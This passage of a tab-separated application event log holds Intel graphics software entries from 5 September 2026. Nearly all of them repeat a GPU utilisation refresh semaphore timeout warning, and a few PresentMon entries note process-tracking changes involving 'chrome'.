09:02:12.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:12.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:13.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:13.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.019\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.676\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:14.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:15.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.301\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.519\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:16.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.487\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:17.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.575\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:18.790\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.124\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.343\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.556\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:19.891\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.109\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:20.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:21.634\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:21.852\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.061\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.395\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:22.836\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.257\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:23.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.240\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:24.887\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.104\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:25.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.084\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.294\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:26.724\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.051\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:27.811\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:28.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:28.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:29.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.408\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.735\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:30.952\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:31.909\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.123\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.652\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:32.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.283\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:33.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:34.807\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.353\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:35.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.231\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.770\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:36.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.198\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:37.752\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.281\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:38.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.251\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.464\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.674\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:39.682\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.202\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.205\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.532\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.747\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:56.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.181\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.594\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:57.812\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 